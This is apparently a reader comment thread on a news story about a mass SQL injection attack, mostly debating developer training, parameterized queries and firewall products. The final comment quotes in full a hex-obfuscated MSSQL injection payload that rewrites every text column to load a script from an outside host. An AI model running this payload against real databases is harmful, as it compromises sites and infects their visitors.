This story is pretty horrifying. SQL injection attacks are trivial to protect against - many popular web application development environments (such as Django and Ruby on Rails) provide protection out of the box, and in other environments a simple coding pattern called parameterized statements provides full protection for no extra effort at all. There's certainly no need to buy an application firewall or other external piece of software!
The problem here is that many web developers fail to understand even the most basic concepts of web application security. The solution is better training or just to hire better developers.
Latest security headlines from Network World:
10 steps to loading dock security
Shell blames IT contractor for benefits fraud
Militants send terror messages in India by 'wardriving'
|
Does Verizon's Voyager stack up to the iPhone? |
|
|
5 IT skills that won't boost your salary 
[1,407]
Women 4 times more likely than men to cough up personal info [589]
Japan's 10 funniest tech-related commercials [Videos] [407]
Throwing away a promo CD is "unauthorized distribution"? [1,265]
Adults too quick to dismiss educational video games [682]
Attack of the iPhone clones [Slideshow] [578]
10 things IT needs to know about AJAX [1,258]
This Year's 25 Geekiest 25th Anniversaries [Slideshow] [409]
|
|
I blame the company not spending enough on proper web dev
Cheap web designers, thinking they can code. Ensuring there can't be a SQL injection is a fundamental process in server side validation. Get coders to do backend stuff and artists and HTMLers to do the front end, then you don't get "it is over my head" excuses.
Diminishing returns
Remember diminishing returns - yes, assuming everyone is always perfect is a great idea but think how many web coders there are in the world? How they are pushed by delivery schedules, ever changing requirements, etc. Even if it would be possible everyone to be perfect, all the time, think about cost!
Now - think your system saves one part of work for everyone? I think building safe interfaces ONCE and used by everyone is where you get the returns. That's why it is sometimes amazing how unsafe the underlaying systems are and blaming everyone who's using them (customer syndrome in IT)?
I'm not pointing fingers to any specific vendor, as I have seen, all of them are time to time sloppy in security. And blaming never gets things better, finding (sound and economical) solutions will.
What did they do to protect themselves?
I would love to know what they did to plug the hole. The title of the article is how a site 'dealt' with the attack. The answer: they called someone.
Here are 2 articles explaining what the attack is, and how to st
The attack is an ingenious SQL injection that updates every every row of (n)varchar and (n)text column in every table with the payload. It only affects Microsoft's SQL Server, as the SQL used is MSSQL specific. It could just as well take out a php site as cross-site scripting (aka XSS) is the actual attack here.
Explanation of payload and attack:
http://hackademix.net/2008/04/26/mass-attack-faq/
Explanation of using Microsoft's anti-XSS library to harden datagrids:
http://www.gdssecurity.com/l/b/2007/10/09/net-data-bound-web-controls-antixss-%e2%80%93-some-considerations/
Get a SQL Firewall
If they only got SecureSphere from Imperva they would have had protection for web attacks and sql attacks. By the way, did they not do any pen testing before going live? Bet not, must say those pennies for the stock holders.
Common sense is no longer common.
It's pretty sad that a company can get away with selling an app that doesn't even scrub user input. That's one thing you always do in any app. Then they make it seem like some stroke of genius to cut the ip that's causing all the problems. It seems like everyone involved with this story has an extremely sub par intelligence level.
Common sense was never common
Coming from financial computing world to this "modern" computing a long time ago I was horrified. The basic principles are not common sense anymore, no separate data and code, no separate presentation and processing, no predefined input or output rules, etc exist.
Today every programmer is supposed to do all that in code, again and again - good luck. A separate presentation layer would stop this kind of problems there before any processing is even started. As well as field format problems, money, date, misspelled words, etc which may cause serious problems both logically and physically. The technology is there but, of course, it would need a design from use/business point of view, not from programming and that may be the basic problem.
... or SecureRequest
Our company just purchased SecureRequest (http://www.securerequest.net) after a series of attacks on our old ASP-website. It was kinda scary to install becouse it alters the code in the webpages but it worked out really well.
Since then we've had no problems and the incredible old and unmaintanable website lives on for another day! =)
What a Trojan Attack Looks Like
Hi! Just spent the last few months fishing for a SQL Inject Trojan attack to see what it looks like and here it is... DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E3234617370782E636F6D2F7363726970742E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);--'
Just so you can protect yourselves against it... and a special thanks to IP Address 87.185.77.49 for providing this, even though he didnt know he was :)